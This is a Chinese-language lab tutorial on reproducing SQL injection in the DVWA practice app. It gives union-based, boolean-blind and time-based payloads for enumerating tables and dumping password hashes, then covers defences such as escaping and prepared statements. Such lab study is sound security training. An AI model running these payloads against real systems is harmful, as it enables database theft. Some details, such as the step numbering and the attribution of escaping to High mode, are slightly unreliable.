SQL注入复现——DVWA靶场实战(有回显 vs 无回显)
一、环境准备
• 访问 http://127.0.0.1/DVWA
,登录账号:admin
/password
。
• 在DVWA Security中设置难度为 Low(无防护)。
靶场位置
• 导航至 SQL Injection 模块。
二、有回显的注入(Union-Based Injection)
1. 探测注入点
• 输入测试:在输入框输入 1
,返回用户ID为1的数据。
• 尝试报错:输入 1'
,观察是否报错(如SQL语法错误)。
• 预期结果:
You have an error in your SQL syntax...
• 结论:存在字符型注入,未过滤单引号。
2. 确定字段数
• 使用 ORDER BY
:
1' ORDER BY 2 --
• 逐步增加数字(如ORDER BY 3
),直到报错。
• 结果:ORDER BY 2
正常,ORDER BY 3
报错 → 原查询有2列。
3. 联合查询获取数据
• 构造Union Payload:
1' UNION SELECT 1,2 --
• 页面显示 1
和 2
,说明第1、2列均可回显。
• 提取敏感信息:
1' UNION SELECT user(), database() --
• 回显结果:
User: root@localhost
Database: dvwa
4. 获取表名和字段名
• 查询所有表名:
1' UNION SELECT 1, table_name FROM information_schema.tables WHERE table_schema=database() --
• 关键表:users
。
• 查询users表的字段:
1' UNION SELECT 1, column_name FROM information_schema.columns WHERE table_name='users' --
• 关键字段:user
, password
。
5. 最终利用(拖库)
• 获取用户名和密码:
1' UNION SELECT user, password FROM users --
• 结果:显示所有用户的密码哈希(如admin
的MD5哈希)。
三、无回显的注入(Boolean-Based Blind Injection)
1. 判断盲注可能性
• 输入正常值:1
→ 返回 “User ID exists”。
• 输入无效值:999
→ 返回 “User ID is MISSING”。
• 结论:无直接回显,但可通过布尔状态(存在/缺失)推断数据。
2. 布尔盲注攻击步骤
• 探测数据库名长度:
1' AND LENGTH(database())=4 --
• 若返回 “User ID exists”,说明数据库名长度为4(dvwa
)。
• 逐字符猜解数据库名:
1' AND SUBSTRING(database(),1,1)='d' --
• 通过二分法或遍历字母表(a-z
)确定字符。
4. 时间盲注(Time-Based)
• 判断条件:
1' AND IF(SUBSTRING(database(),1,1)='d', SLEEP(5), 0) --
• 若响应延迟5秒,说明首字母为d
。
四、关键差异总结
对比项 | 有回显的注入 | 无回显的注入 |
---|---|---|
利用条件 | 页面直接显示数据库数据或错误信息 | 仅能通过布尔状态或时间延迟推断数据 |
攻击效率 | 高(直接获取数据) | 低(需逐字符猜解) |
典型Payload | UNION SELECT 1,2,3 | AND SUBSTRING(...)='a' |
工具推荐 | 手动构造或Sqlmap | Sqlmap(--technique=B 或--technique=T ) |
五、防御措施复现
- 设置DVWA为High难度:
• 在DVWA Security中选择 High,观察代码变化:
• 效果:单引号被转义,注入失效。$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
- 使用预编译语句:
• 修改源码为参数化查询:
• 效果:彻底杜绝注入。$stmt = $conn->prepare("SELECT first_name, last_name FROM users WHERE user_id = ?"); $stmt->bind_param("i", $id); $stmt->execute();
通过DVWA靶场实战,你可以清晰理解有回显和无回显注入的利用手法及防御逻辑。建议逐步提升难度(Medium/High),并尝试结合Sqlmap自动化验证。
有回显的注入(显示注入)
我们可以看到它返回的结果是给我们了个报错信息,就说明这是存在一个有回显的注入(返回给我们了报错信息)
无回显的注入(盲注)
我们观察可以发现,它返回的结果并没有像刚刚那样,给我们显示一个报错信息。盲注就是它没有将数据库的报错信息回显给我们。